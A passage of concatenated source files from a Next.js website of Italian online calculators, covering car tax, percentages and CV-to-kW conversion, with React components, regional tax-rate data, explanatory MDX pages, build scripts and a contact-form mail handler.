Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-NH8M5H7');`, }} /> {/* <!-- End Google Tag Manager --> */} </> ); export default function HeadComponent({ title, meta_desc }) { const path = useRouter().asPath.replace(/\?.*/, ''); return ( <Head> <script data-ad-client="ca-pub-2638875088789645" async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js" ></script> <title> {isHome() ? `CalcolaFacile.it - ${siteMotto}` : `${title} | ${siteName}`} </title> {meta_desc ? <meta name="description" content={meta_desc} /> : ''} {gTagManagerHead} <link rel="canonical" href={`https://${siteName}${path}`} /> </Head> ); } <file_sep>import Link from "next/link"; import { useRouter } from "next/router"; const _ = require("lodash"); export default function LinkList() { const pageSlug = useRouter().query.calcSlug; return ( <> <ul> {linkList.map(({ name, slug }) => ( <li key={_.uniqueId("calc-li_")}> {pageSlug != slug ? ( <Link href={`/calcoli/${slug}`}> <a className="norm-link">{name}</a> </Link> ) : ( <span className="active">{name}</span> )} </li> ))} </ul> <style jsx>{` a { font-size: 0.9rem; } ul { list-style: none; } li { margin-left: 0; margin-top: 0.5rem; margin-bottom: 0.5rem; } .active { color: var(--primary-less-light); font-weight: 500; cursor: default; font-size: 0.9rem; } `}</style> </> ); } const linkList = [ { name: "Calcolo bollo auto", slug: "calcolo-bollo-auto" }, { name: "Calcolo percentuale", slug: "calcolo-percentuale" }, { name: "Convertitore CV-KW", slug: "convertitore-cv-kw" }, ]; <file_sep>import Link from "next/link"; export default function ContactUsBlock() { return ( <div className="outer-container"> <Link href="/contatti"> <a className="norm-link"> Contatti</a> </Link> </div> ); } <file_sep>import Logo from "../elements/logo"; import MobileMenu from "./MobileMenu"; import LinkList from "../elements/LinkList"; import { useState, useEffect } from "react"; import Link from "next/link"; export default function Header() { const [isMenuOpen, toggleMenu] = useState(false); return ( <> <header className="shadow-1"> <div className="container"> <nav> <Logo /> <ul className="desktop-menu hide-on-mobile"> <li> <span className="dropdown-voice"> Calcoli <span className="chev-down">&#x25BC;</span> </span> <div className="dropdown-content topless-shadow"> <LinkList /> </div> </li> <li> <Link href="/contatti"> <a className="norm-link">Contatti</a> </Link> </li> </ul> <a className="hamburger-icon clickable-icon show-on-mobile" onClick={() => toggleMenu(!isMenuOpen)} > &#9776; </a> </nav> </div> <MobileMenu isMenuOpen={isMenuOpen} toggleMenu={toggleMenu} /> </header> <style jsx>{` .chev-down { font-size: 55%; margin: 0.2rem; color: darkgray; } .dropdown-content { position: absolute; display: none; top: 60px; padding: 0.5rem 1rem; background-color: var(--primary-light); border-radius: 0 0 8px 8px; } .desktop-menu li:hover > .dropdown-content { display: block; } .desktop-menu li:hover { background-color: var(--primary-light); color: var(--primary); } .dropdown-voice { padding: 1rem; cursor: default; } .norm-link { padding: 1rem; } .desktop-menu li { display: inline-block; padding: 1rem 0; } .topless-shadow { box-shadow: rgba(0, 0, 0, 0.1) 0px 6px 8px -2px, rgba(0, 0, 0, 0.06) 0px 4px 6px -2px; } li { margin: 0; } nav { height: 100%; max-width: 100%; width: 100%; display: flex; justify-content: space-between; align-items: center; } .hamburger-icon { font-size: 1.7rem; font-weight: 900; color: var(--primary); } .container { height: 60px; display: flex; align-items: center; } header { position: fixed; z-index: 1000; border-bottom: 1px solid lightgray; max-width: 100%; width: 100%; background-color: white; } `}</style> </> ); } <file_sep>import React from "react"; import InputLayout from "./InputLayout"; const _ = require("lodash"); import { useState } from "react"; const Select = ({ //Form attributes value, error, onChange, onBlur, onFocus, //Optional attributes labelText, //accetta un array di opzioni options, placeholder, }) => { const [id] = useState(_.uniqueId("input_")); return ( <> <InputLayout error={error} labelText={labelText} id={id}> <select className={error ? "error-input" : undefined} onChange={onChange} value={value} name="calcField" id={id} aria-label="Campo Valore" onBlur={onBlur} onFocus={onFocus} > {placeholder && ( <option value="default" disabled> {placeholder} </option> )} {options.map((opt, i) => ( <option value={opt} key={`opt-${i}`}> {opt} </option> ))} </select> </InputLayout> </> ); }; export default Select; <file_sep>export default function InputLayout({ id, labelText, error, children }) { return ( <div className="input-outer"> {labelText ? ( <label className="input-label" htmlFor={id}> {labelText} </label> ) : ( "" )} <div className="input-wrapper">{children}</div> {error && <div className="error-msg">{error}</div>} </div> ); } <file_sep>import { useState } from "react"; import useForm from "../../hooks/useForm"; import CalcBlock from "../../components/modules/block-calc"; import Input from "../../components/elements/Input"; import Select from "../../components/elements/Select"; import { regioni, misurePotenza, classiEuro, tariffeBollo, } from "../data/calcoloBollo"; export default function CalcoloBollo({ pageTitle }) { const [{ regione, potenza, classeEuro, misura }, getValidatedInput] = useForm( { regione: { isRequired: true, defaultValue: "default", validation: [ { condition: (val) => Object.values(regioni).includes(val), msg: "Seleziona una regione.", }, ], }, potenza: { isRequired: true, validation: [ { condition: (val) => val > 0, msg: "Inserisci un numero maggiore di 0.", }, ], }, classeEuro: { defaultValue: classiEuro.E0, }, misura: { defaultValue: misurePotenza.CV, }, } ); const [resMsg, setResMsg] = useState(""); const generateResMsg = (regione, potenza, classeEuro, misura) => { let price = calculatePrice(regione, potenza, classeEuro, misura); setResMsg( <> <div className="result-msg"> Il costo del bollo auto è di{" "} <div className="highlight-res"> <span className="price">{price}</span> {`€ /anno*`} </div>{" "} </div> <div className="footnote mt-1"> *Il valore è da ritenersi indicativo. Il costo del bollo auto può variare a seconda di diversi fattori. Per conoscere la cifra esatta rivolgersi all'ufficio competente. </div> <style jsx> {` .price { font-weight: 700; font-size: 1.5rem; } .result-msg { font-size: 1.1rem; } `} </style> </> ); }; const handleCalculate = (e) => { e.preventDefault(); const validValues = getValidatedInput(); if (validValues) { const { regione, potenza, classeEuro, misura } = validValues; generateResMsg(regione, potenza, classeEuro, misura); } }; return ( <CalcBlock result={resMsg} pageTitle={pageTitle} handleCalculate={handleCalculate} size="s" > <div className="content-grid"> <Select options={Object.values(regioni)} placeholder="Seleziona una regione" labelText="Regione di residenza intestatario" {...regione} /> <Input labelText="Potenza" symbol={Object.values(misurePotenza)} symbolValue={misura.value} symbolOnChange={misura.onChange} type="number" numMin="0" {...potenza} /> <Select options={Object.values(classiEuro)} labelText="Categoria Euro" {...classeEuro} /> </div> <style jsx>{` .content-grid { display: grid; row-gap: 1rem; } `}</style> </CalcBlock> ); } const elaboratePotenza = (misura, potenza) => { if (misura === misurePotenza.CV) return potenza / 1.36; return potenza; }; const fetchRates = (regione, classeEuro) => { let group = tariffeBollo.find((group) => group.regioni.includes(regione)) ?.tariffe; let prices = group.find((classe) => classe.classeEuro.includes(classeEuro)) ?.prezzi; return prices; }; const calculatePiedmont = (misura, potenza, regione, classeEuro) => { let price; let power = elaboratePotenza(misura, potenza); let [low, medium, high] = fetchRates(regione, classeEuro); let lowLimit, highLimit; if (power > 130) { [lowLimit, highLimit] = high; } else if (power <= 130 && power > 100) { [lowLimit, highLimit] = medium; } else { [lowLimit, highLimit] = low; } if (power <= 100) { price = power * lowLimit; } else { price = 100 * lowLimit; power = power - 100; price += power * highLimit; } return price; }; const calculatePrice = (regione, potenza, classeEuro, misura) => { let price; if (regione === regioni.PIEMONTE) { price = calculatePiedmont(misura, potenza, regione, classeEuro); } else { let [lowLimit, highLimit] = fetchRates(regione, classeEuro); let power = elaboratePotenza(misura, potenza); if (power <= 100) { price = power * lowLimit; } else { price = 100 * lowLimit; power = power - 100; price += power * highLimit; } } price = Math.round(price) .toString() .replace(/(\d)(?=(\d\d\d)+(?!\d))/g, "$1."); return price; }; <file_sep>--- title: Calcolo della percentuale meta_desc: Calcola online la percentuale di un numero, lo sconto o l'aumento in percentuale. Oppure utilizza le formule inverse. --- Calcola la percentuale di un numero oppure utilizza le formule inverse. Puoi calcolare uno sconto o un aumento in percentuale semplicemente compilando i primi due campi. <CalcoloPercentuale pageTitle={title} /> ## Cos'è la percentuale? La percentuale è il **numero di parti** di un intero di riferimento **prese in considerazione** dopo che l'intero è stato diviso in cento parti. Viene usata quando si devono confrontare due grandezze e nonostante se ne faccia largo uso, non sempre ne viene compreso al "100%" il funzionamento. Per capire di cosa si tratta facciamo un esempio. Possiedo 10 mele di cui 5 di colore giallo e voglio conoscere **qual è la percentuale** rappresentata da queste ultime. Innanzitutto dovrò **determinare l'intero di riferimento**. In questo caso io voglio sapere quante **tra le mele che possiedo** sono gialle. Quindi l'intero che prenderò come riferimento sarà il totale delle mie mele, ovvero **10**. Posso quindi dire che **10 è il 100% delle mie mele**. Ora il calcolo è semplice, perché come si può vedere le mele gialle sono 5, ovvero **la metà** delle mele in mio possesso. Quindi se immagino di dividere tutte le mie mele fino ad avere un totale di **100 pezzi uguali**, so già che la metà di quei pezzi saranno gialli. In altre parole, **su 100 pezzi 50 saranno gialli: il 50%**. Ma se le mele gialle fossero state ad esempio 4 e il totale 25? Be' in quel caso è meglio conoscere alcuni semplici calcoli. ## Come si calcola la percentuale di un numero? Per ottenere la percentuale di un numero dovrò conoscere due cose: la percentuale che voglio calcolare, appunto, e il numero che voglio usare come intero di riferimento. Dopodiché dividerò l'intero per cento e lo moltiplicherò per la percentuale espressa in centesimi. Esempio: voglio calcolare quanti cl di succo d'arancia sono presenti effettivamente nella mia bevanda. Il brick contiene 20cl di liquido e sul fronte ha scritto: "Con il 10% di succo d'arancia". Adesso formuliamo la domanda: a quanto equivale il 10% di 20cl? Per saperlo dividiamo i 20cl in 100 parti (20/100 = 0,2). Ora abbiamo cento parti del valore di 0,2. Ma a noi servono solo 10 di quelle parti.Moltiplichiamo quindi 0,2 per 10 volte. (0,2 x 10 = 2) Adesso sappiamo che il 10% di 20cl è 2cl. Forse è meglio farsi una spremuta! Per generalizzare possiamo quindi **calcolare la percentuale con la seguente formula**: - **a / 100 x b = n** Dove **a** rappresenta l'intero di riferimento e **b** la percentuale espressa in centesimi. Grazie a questa formula possiamo poi recuperare le **formule inverse**. Per fare questo riprendiamo l'esempio delle mele. Nell'ultima domanda volevamo sapere a quale percentuale corrispondessero le nostre 4 mele gialle sul totale di 25 mele in nostro possesso. Per trovare questa formula basterà una semplice equivalenza. Tra 4 e 25 infatti **c'è lo stesso rapporto** che tra X e 100, che non sono altro che le rappresentazioni in centesimi degli stessi valori. Scriviamo l'equivalenza: 4 : 25 = X : 100 → 4 x 100 / 25 = 16 Scopriamo così che il 16% delle mie mele è giallo! Generalizziamo usando la seguente **formula inversa per calcolare la percentuale** espressa in centesimi: - **a : b = X : 100 → a x 100 / b = X** Con **a** che rappresenta la parte di intero di cui vogliamo conoscere la percentuale espressa in centesimi, e **b** il nostro intero di riferimento. Ora rimane solo un'altra formula, e il metodo per scoprirla è lo stesso. Stavolta sappiamo che le nostre mele gialle sono 15 e sappiamo anche che sono il 12% delle nostre mele totali. Ma quante mele abbiamo allora? Stavolta l'equivalenza è leggermente diversa, ma seguendo lo stesso ragionamento sui rapporti tra i quattro valori possiamo arrivare alla seguente conclusione: 15 : X = 12 : 100 → 15 x 100 / 12 = 125 Ecco fatto! Ora sappiamo che in questa ipotesi le nostre mele totali sono 125. Riscriviamo quindi la **formula per calcolare il totale rispetto alla percentuale**: - **a : X = b : 100 → a x 100 / b = X** Dove **a** rappresenta la nostra porzione di intero e **b** l'equivalente percentuale espressa in centesimi. Con questo è tutto per le percentuali. Speriamo di essere stati d'aiuto. <file_sep>import CalcPageTemplate from "../../components/templates/calc-page-template"; import matter from "gray-matter"; import renderToString from "next-mdx-remote/render-to-string"; import hydrate from "next-mdx-remote/hydrate"; import AllCalcs from "../../content/all-calcs"; const components = AllCalcs; import { fetchPageSlug, fetchMdxContent } from "../../lib/calcs"; export default function CalcPage({ slug, metadata, mdxSource }) { const content = hydrate(mdxSource, { components }); return ( <CalcPageTemplate title={metadata.title} meta_desc={metadata.meta_desc}> {content} </CalcPageTemplate> ); } export async function getStaticPaths() { const slugs = await fetchPageSlug(); return { paths: slugs?.map((calcSlug) => ({ params: { calcSlug } })), fallback: false, }; } export async function getStaticProps({ params }) { const slug = params?.calcSlug; const mdxContent = await fetchMdxContent(slug); const { content, data } = matter(mdxContent); const mdxSource = await renderToString(content, { components, scope: data }); return { props: { key: slug, slug, mdxSource, metadata: data, }, }; } <file_sep>const withPlugins = require("next-compose-plugins"); const mdx = require("@next/mdx")(); const generateSitemap = require("./scripts/generate-sitemap"); const generateAllCalcs = require("./scripts/generate-AllCalcs"); module.exports = withPlugins( [ [ mdx, { pageExtensions: ["js", "mdx"], }, ], [ { async redirects() { return [ { source: "/bollo-auto/come-calcolare-il-bollo-auto-tabelle-kw-e-verifica-del-pagamento", destination: "/calcoli/calcolo-bollo-auto", permanent: true, }, ]; }, }, ], ], { webpack: (config, { isServer }) => { if (isServer) { generateSitemap(); generateAllCalcs(); } return config; }, } ); <file_sep>import Header from "../modules/header"; import Footer from "../modules/footer"; import HeadComponent from "../modules/head"; export default function DefaultLayout({ title, meta_desc, slug, children }) { return ( <> <HeadComponent title={title} meta_desc={meta_desc} slug={slug} /> <div className="page-wrapper"> <Header /> <div className="header-placeholder"></div> <div className="page-content">{children}</div> {/* Cookie Banner */} <Footer /> </div> <style jsx>{` .header-placeholder { width: 100%; height: 60px; } .page-wrapper { display: flex; flex-direction: column; min-height: 100vh; } .page-content { flex-grow: 1; display: flex; } `}</style> </> ); } <file_sep>import Link from "next/link"; export default function Footer() { return ( <> <footer className="py-2"> <div className="footer-menu"> <Link href="/contatti"> <a className="norm-link">Contatti</a> </Link> | <Link href="/privacy-policy"> <a className="norm-link">Privacy</a> </Link> </div> <div className=" copy-container"> <div className="copy ">&copy; 2021 CalcolaFacile.it</div> </div> </footer> <style jsx>{` .footer-menu { text-align: center; padding-bottom: 1rem; } .footer-menu > * { margin-right: 0.5rem; margin-left: 0.5rem; } .copy { text-align: center; font-size: 80%; } footer { background-color: #ddd; height: 90px; } `}</style> </> ); } <file_sep>import CalcoloBollo from "./calcs/CalcoloBollo"; import CalcoloPercentuale from "./calcs/CalcoloPercentuale"; import ConvertitoreCVKW from "./calcs/ConvertitoreCVKW"; const AllCalcs = { CalcoloBollo, CalcoloPercentuale, ConvertitoreCVKW }; export default AllCalcs; <file_sep>const fs = require("fs"); const prettier = require("prettier"); const generateAllCalcs = () => { const calcFileNames = fs.readdirSync("content/calcs"); const calcList = calcFileNames.map((cName) => cName.replace(/.js/, "")); const importSection = calcList.map( (component) => `import ${component} from "./calcs/${component}";` ); const objectSection = `const AllCalcs = { ${calcList.join(", ")} }; export default AllCalcs;`; const pageText = `${importSection.join(" ")} ${objectSection}`; const prettified = prettier.format(pageText, { parser: "babel" }); fs.writeFileSync(__dirname + "/../content/all-calcs.js", prettified, "utf8"); }; module.exports = generateAllCalcs; <file_sep>const fs = require("fs"); const globby = require("globby"); const prettier = require("prettier"); const DOMAIN_NAME = "https://calcolafacile.it"; const formatted = (sitemap) => prettier.format(sitemap, { parser: "html" }); const generateSitemap = async () => { const pages = await globby([ "pages/*.js", "!pages/_*.js", "!pages/404.js", "content/text/*.mdx", ]); const pageSitemap = ` ${pages .map((page) => { const path = page .replace("pages/", "") .replace(/(.js|.mdx)/, "") .replace("content/text", "calcoli") .replace(/\/index/g, ""); const routePath = path === "index" ? "" : path; return ` <url> <loc>${DOMAIN_NAME}/${routePath}</loc> </url> `; }) .join("")}`; const generatedSitemap = ` <?xml version="1.0" encoding="UTF-8"?> <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd" > ${pageSitemap} </urlset> `; const formattedSitemap = [formatted(generatedSitemap)]; fs.writeFileSync( __dirname + "/../public/sitemap.xml", formattedSitemap, "utf8" ); }; module.exports = generateSitemap; <file_sep>export const regioni = Object.freeze({ ABRUZZO: "Abruzzo", BASILICATA: "Basilicata", CALABRIA: "Calabria", CAMPANIA: "Campania", E_ROMAGNA: "Emilia-Romagna", F_V_G: "<NAME>", LAZIO: "Lazio", LIGURIA: "Liguria", LOMBARDIA: "Lombardia", MARCHE: "Marche", MOLISE: "Molise", PIEMONTE: "Piemonte", PUGLIA: "Puglia", SARDEGNA: "Sardegna", SICILIA: "Sicilia", TOSCANA: "Toscana", T_A_A_T: "Trentino-Alto Adige (Trento)", T_A_A_B: "Trentino-Alto Adige (Bolzano)", UMBRIA: "Umbria", V_D_A: "Valle d'Aosta", VENETO: "Veneto", }); export const misurePotenza = Object.freeze({ KW: "kW", CV: "CV", }); export const classiEuro = Object.freeze({ E0: "Euro 0", E1: "Euro 1", E2: "Euro 2", E3: "Euro 3", E4: "Euro 4", E5: "Euro 5", E6: "Euro 6", }); export const tariffeBollo = [ { regioni: ["Abruzzo", "Campania"], tariffe: [ { classeEuro: ["Euro 0"], prezzi: [3.63, 5.45] }, { classeEuro: ["Euro 1"], prezzi: [3.51, 5.27] }, { classeEuro: ["Euro 2"], prezzi: [3.39, 5.08] }, { classeEuro: ["Euro 3"], prezzi: [3.27, 4.91] }, { classeEuro: ["Euro 4", "Euro 5", "Euro 6"], prezzi: [3.12, 4.96] }, ], }, { regioni: [ "Basilicata", "Emilia-Romagna", "Lombardia", "Sicilia", "Puglia", "Umbria", "<NAME>", "<NAME>", "Sardegna", ], tariffe: [ { classeEuro: ["Euro 0"], prezzi: [3.0, 4.5] }, { classeEuro: ["Euro 1"], prezzi: [2.9, 4.35] }, { classeEuro: ["Euro 2"], prezzi: [2.8, 4.2] }, { classeEuro: ["Euro 3"], prezzi: [2.7, 4.05] }, { classeEuro: ["Euro 4", "Euro 5", "Euro 6"], prezzi: [2.58, 3.87] }, ], }, { regioni: ["Trentino-Alto Adige (Bolzano)"], tariffe: [ { classeEuro: ["Euro 0"], prezzi: [2.7, 4.05] }, { classeEuro: ["Euro 1"], prezzi: [2.61, 3.92] }, { classeEuro: ["Euro 2"], prezzi: [2.52, 3.78] }, { classeEuro: ["Euro 3"], prezzi: [2.43, 3.65] }, { classeEuro: ["Euro 4"], prezzi: [2.32, 3.48] }, { classeEuro: ["Euro 5", "Euro 6"], prezzi: [2.09, 3.13] }, ], }, { regioni: ["Calabria", "Lazio", "Liguria", "Veneto"], tariffe: [ { classeEuro: ["Euro 0"], prezzi: [3.3, 4.95] }, { classeEuro: ["Euro 1"], prezzi: [3.19, 4.79] }, { classeEuro: ["Euro 2"], prezzi: [3.08, 4.62] }, { classeEuro: ["Euro 3"], prezzi: [2.97, 4.46] }, { classeEuro: ["Euro 4", "Euro 5", "Euro 6"], prezzi: [2.84, 4.26] }, ], }, { regioni: ["Toscana"], tariffe: [ { classeEuro: ["Euro 0"], prezzi: [3.47, 5.45] }, { classeEuro: ["Euro 1"], prezzi: [3.35, 5.37] }, { classeEuro: ["Euro 2"], prezzi: [3.23, 5.08] }, { classeEuro: ["Euro 3"], prezzi: [3.12, 4.91] }, { classeEuro: ["Euro 4", "Euro 5", "Euro 6"], prezzi: [2.71, 4.26] }, ], }, { regioni: ["Trentino-Alto Adige (Trento)"], tariffe: [ { classeEuro: ["Euro 0"], prezzi: [3.0, 4.5] }, { classeEuro: ["Euro 1"], prezzi: [2.9, 4.35] }, { classeEuro: ["Euro 2"], prezzi: [2.8, 4.2] }, { classeEuro: ["Euro 3"], prezzi: [2.7, 4.05] }, { classeEuro: ["Euro 4"], prezzi: [2.58, 3.87] }, { classeEuro: ["Euro 5", "Euro 6"], prezzi: [2.06, 3.1] }, ], }, { regioni: ["Piemonte"], tariffe: [ { classeEuro: ["Euro 0"], prezzi: [ [3.0, 3.18], [3.24, 4.86], [3.3, 4.95], ], }, { classeEuro: ["Euro 1"], prezzi: [ [2.9, 3.07], [3.13, 4.7], [3.19, 4.79], ], }, { classeEuro: ["Euro 2"], prezzi: [ [2.8, 2.97], [3.02, 4.54], [3.08, 4.62], ], }, { classeEuro: ["Euro 3"], prezzi: [ [2.7, 2.86], [2.92, 4.37], [2.97, 4.46], ], }, { classeEuro: ["Euro 4", "Euro 5", "Euro 6"], prezzi: [ [2.58, 2.73], [2.79, 4.18], [2.84, 4.26], ], }, ], }, { regioni: ["Molise"], tariffe: [ { classeEuro: ["Euro 0"], prezzi: [3.53, 5.3] }, { classeEuro: ["Euro 1"], prezzi: [3.38, 5.07] }, { classeEuro: ["Euro 2"], prezzi: [3.24, 4.85] }, { classeEuro: ["Euro 3"], prezzi: [3.09, 4.63] }, { classeEuro: ["Euro 4", "Euro 5", "Euro 6"], prezzi: [2.76, 4.14] }, ], }, ]; <file_sep>import nodemailer from "nodemailer"; const isDev = process.env.NODE_ENV == "development"; const transporter = nodemailer.createTransport({ host: "smtps.aruba.it", port: "465", logger: isDev, debug: isDev, secure: true, auth: { user: process.env.EMAIL_USER, pass: <PASSWORD>, }, tls: { minVersion: "TLSv1.2", rejectUnauthorized: !isDev, }, }); export default async (req, res) => { // COMMENT OUT EVERYTHING ELSE FOR TESTING (PROVISORY) // let fakeStatus = { status: "success" }; // let response = await setTimeout(() => res.json(fakeStatus), 2000); // console.log(req.body); // response; // }; const { name, senderMail, subject, content } = req.body; const username = name || senderMail.match(/.+?(?=@)/).toString(); const from = `${username} <${senderMail}>`; const message = { from, to: process.env.CONTACT_EMAIL, subject, text: content, replyTo: senderMail, }; transporter.sendMail(message, (err, data) => { if (err) { res.json({ status: "fail" }); } else { res.json({ status: "success" }); } }); }; <file_sep>import { useState } from "react"; import CalcBlock from "../../components/modules/block-calc"; import Input from "../../components/elements/Input"; export default function ConvertitoreCVKW({ pageTitle }) { //redo!!! Next time remember: upadte state using e.target.value and NOT with CV KW :D const [CV, setCV] = useState(1); const [KW, setKW] = useState(0.7355); const updateKW = async (val) => { setKW(val); setCV(Math.round(val * 10000 * 1.35962, 2) / 10000); }; const updateCV = async (val) => { setCV(val); setKW(Math.round((val * 10000) / 1.35962, 2) / 10000); }; return ( <CalcBlock pageTitle={pageTitle} size="s"> <div className="grid-container"> <Input labelText="Cavalli (CV)" type="number" value={CV} numMin="0" onChange={(e) => updateCV(e.target.value)} onFocus={(e) => e.target.select()} /> <span className="equal-sign">=</span> <Input labelText="Kilowatt (kW)" type="number" value={KW} numMin="0" onChange={(e) => { updateKW(e.target.value); }} onFocus={(e) => e.target.select()} /> </div> <style jsx>{` .grid-container { display: flex; flex-direction: column; } .equal-sign { font-size: 3rem; color: var(--primary); line-height: 1; } `}</style> </CalcBlock> ); } <file_sep>--- title: Calcolo bollo auto 2021 meta_desc: Calcola online il bollo auto senza bisogno della targa. Inserisci KW o CV per conoscere l'importo. --- Calcola il bollo della tua auto inserendo nel calcolatore la provincia di residenza del proprietario, i cavalli o i kilowatt e la categoria Euro del veicolo. <CalcoloBollo pageTitle={title} /> ## Cos'è il bollo auto? La **tassa automobilistica** - o bollo auto - è un tributo locale sugli autoveicoli e motoveicoli immatricolati in Italia, versato alla Regione di residenza del proprietario del mezzo indicato nel **Pubblico Registro Automobilistico** (PRA). ## Come si calcola il bollo auto? Il calcolo del bollo auto può essere effettuato in due modi, con targa o senza targa. Per calcolare il **bollo auto senza targa** bisognerà conoscere: - i **kW** (kiloWatt) del mezzo o i suoi **CV** (cavalli a vapore) - la **classe d'inquinamento** (categoria Euro) - l'**importo per kW** applicato dalla **Regione di residenza del proprietario** Ogni regione ha un proprio tariffario, con valori variabili a seconda della categoria Euro del veicolo e i suoi kw. Un veicolo con una categoria Euro 6 sarà soggetto al pagamento di un bollo minore rispetto ad un Euro 3. Allo stesso modo, il valore del singolo kW aumenterà superata una determinata soglia. **AD ESEMPIO** Il costo del bollo in Lombardia per un'auto con categoria Euro 4 è di 2,58€ per ogni kW fino ad un massimo di 100 kW, e 3,87€ per ogni kW eccedente. Quindi, in Lombardia, il proprietario di un'auto con una potenza di 105 kW, dovrà pagare: **2,58€ per ogni kW fino a 100 sommati, a 3,87€ per ognuno dei 5kW eccedenti**, per un totale di 277€. **Ogni regione utilizza tariffe diverse**, quindi se si vuole calcolare il costo del bollo manualmente è necessario risalire alle tariffe utilizzate dalla propria regione di residenza. Inoltre se si dispone solo della potenza espressa in cavalli a vapore sarà necessario [convertire i CV in kW](/calcoli/convertitore-cv-kw). **Calcolare il bollo auto senza targa** è il modo migliore per scoprire in maniera approssimativa quanto si andrà a pagare nel caso in cui, ad esempio, si voglia acquistare una nuova auto. Il costo del bollo tuttavia può variare a seconda di diversi fattori che possono dipendere dal proprietario del veicolo. Per un calcolo più preciso invece è possibile **calcolare il bollo auto con targa** utilizzando i servizi messi a disposizione dall'[ACI](https://online.aci.it/acinet/calcolobollo/index.asp), raggiungibile anche attraverso il sito dell'[Agenza delle entrate](https://www.agenziaentrate.gov.it/portale/web/guest/schede/pagamenti/bollo-auto/calcolo-del-bollo-con-la-formula-completa). <file_sep>import { useState } from "react"; import { commaToDot, rightArticleFor } from "../../utils/utilities"; import CalcBlock from "../../components/modules/block-calc"; import Input from "../../components/elements/Input"; export default function CalcoloPercentuale({ pageTitle }) { const [cent, setCent] = useState(""); const [whole, setWhole] = useState(""); const [part, setPart] = useState(""); const [resMsg, setResMsg] = useState(""); const resetState = () => { setCent(""), setWhole(""), setPart(""), setResMsg(""); }; const inputToNum = () => { let numInput = { cent, whole, part }; Object.keys(numInput).forEach((key) => { //Commas are converted to dots let toDot = commaToDot(numInput[key]); //Input is converted to Number let toNum = Number(toDot); //Returns Number or NaN return (numInput[key] = toNum); }); return numInput; }; const generateResMsg = () => { let input = inputToNum(); let inputValues = Object.values(input); let outcome; const results = { cent: (input.part * 100) / input.whole, whole: (input.part * 100) / input.cent, part: (input.cent / 100) * input.whole, }; const errors = [ { type: "ERR_WRONG_INPUT", condition: inputValues.some((value) => isNaN(value)), msg: "Inserisci solo valori numerici.", }, { type: "ERR_FEW_VALUES", condition: inputValues.filter((i) => i).length < 2, msg: "Inserisci almeno 2 valori.", }, ]; const calcs = [ { type: "FIND_CENT", condition: !input.cent, msg: ( <> {input.part} è {rightArticleFor(results.cent)} <div className="highlight-res">{results.cent}%</div> di{" "} {input.whole} </> ), }, { type: "FIND_WHOLE", condition: !input.whole, msg: ( <> {input.part} è {rightArticleFor(input.cent)} {input.cent}% di{" "} <div className="highlight-res">{results.whole}</div> </> ), }, { type: "FIND_PART", condition: !input.part, msg: ( <> <div> {rightArticleFor(input.cent, true)} {input.cent}% di {input.whole} è{" "} <div className="highlight-res">{results.part}</div> </div> <hr /> <div> {input.whole} - {input.cent}% ={" "} <div className="highlight-res">{input.whole - results.part}</div> </div> <hr /> <div> {input.whole} + {input.cent}% ={" "} <div className="highlight-res">{input.whole + results.part}</div> </div> </> ), }, { type: "VERIFY_CALC", condition: inputValues.every((i) => i), msg: ( <> <div className="mb-1"> Il calcolo della percentuale è{" "} <div className="highlight-res"> {results.part === input.part ? "giusto" : "sbagliato"} </div> .{" "} </div> <div> {rightArticleFor(input.cent, true)} {input.cent}% di {input.whole} è{" "} <div className="highlight-res">{results.part}</div> </div> </> ), }, ]; //Logic let errorMsg = errors.find((obj) => obj.condition)?.msg; if (errorMsg) { return <div className="error-msg-generic">{errorMsg}</div>; } else { outcome = calcs.find((obj) => obj.condition).msg; } return <div className="result-msg">{outcome}</div>; }; const handleCalculate = (e) => { e.preventDefault(); const msg = generateResMsg(); setResMsg(msg); }; const handleClear = (e) => { e.preventDefault(); resetState(); }; const explanation = "Inserisci due valori per trovare il terzo."; const examples = "(es. Il 20% di 15 è... )"; return ( <CalcBlock explanation={explanation} examples={examples} result={resMsg} pageTitle={pageTitle} handleCalculate={handleCalculate} handleClear={handleClear} hasClearBtn > {" "} <> <span className="outer"> Il{" "} <span className="inline-block"> <Input id="calc-perc-cent" value={cent} onChange={(e) => setCent(e.target.value)} symbol="%" size="s" /> </span> </span>{" "} <span className="outer"> di{" "} <Input id="calc-perc-whole" value={whole} onChange={(e) => setWhole(e.target.value)} size="m" /> </span>{" "} <span className="outer on-new-line"> {" "} è{" "} <Input id="calc-perc-part" value={part} onChange={(e) => setPart(e.target.value)} size="l" /> </span> <style jsx>{` .outer { display: inline-grid; grid-template-columns: auto auto; grid-template-rows: auto; align-items: center; gap: 0.5rem; margin: 0.5rem 0; } } `}</style> </> </CalcBlock> ); } <file_sep>import fs from "fs"; import path from "path"; const textDirectory = path.join(process.cwd(), "content/text"); export const fetchPageSlug = () => { const mdxFNames = fs.readdirSync(textDirectory); return mdxFNames.map((fName) => fName.replace(".mdx", "")); }; export const fetchMdxContent = (pageSlug) => { const fullPath = path.join(textDirectory, `${pageSlug}.mdx`); return fs.promises.readFile(fullPath, "utf8"); }; <file_sep>export default function Sidebar() { return ( <> <aside className="my-1"> <div className="aside-content"> {/* ADS ecc (?) */} </div> </aside> <style jsx>{` aside { min-width: 250px; width: 250px; border-left: 1px solid lightgray; padding: 1rem; margin-left: 1rem; } .aside-content { position: sticky; top: calc(1rem + 60px); } h2 { margin-top: 0; margin-bottom: 0.5rem; } @media (max-width: 992px) { aside { display: none; } } `}</style> </> ); } <file_sep>import { useEffect } from "react"; export default function PopupNotification({ success, message, showPopup }) { useEffect(() => { const timer = setTimeout(() => { showPopup(false); }, 5000); return () => clearTimeout(timer); }, []); return ( <> <div> <div className="notify shadow-2"> <span className="popup-message">{message}</span> <button className="close-btn" onClick={() => showPopup(false)}> &times; </button> </div> </div> <style jsx>{` div { height: fit-content; width: 100%; position: fixed; top: 0; left: 0; padding: 0 1rem; } .notify { font-size: 0.85rem; display: flex; justify-content: space-between; align-content: center; color: ${success ? "var(--positive)" : "var(--negative)"}; top: 1rem; max-width: 500px; height: fit-content; position: relative; margin: 0 auto; background-color: ${success ? "var(--positive-light)" : "var(--negative-light)"}; padding: 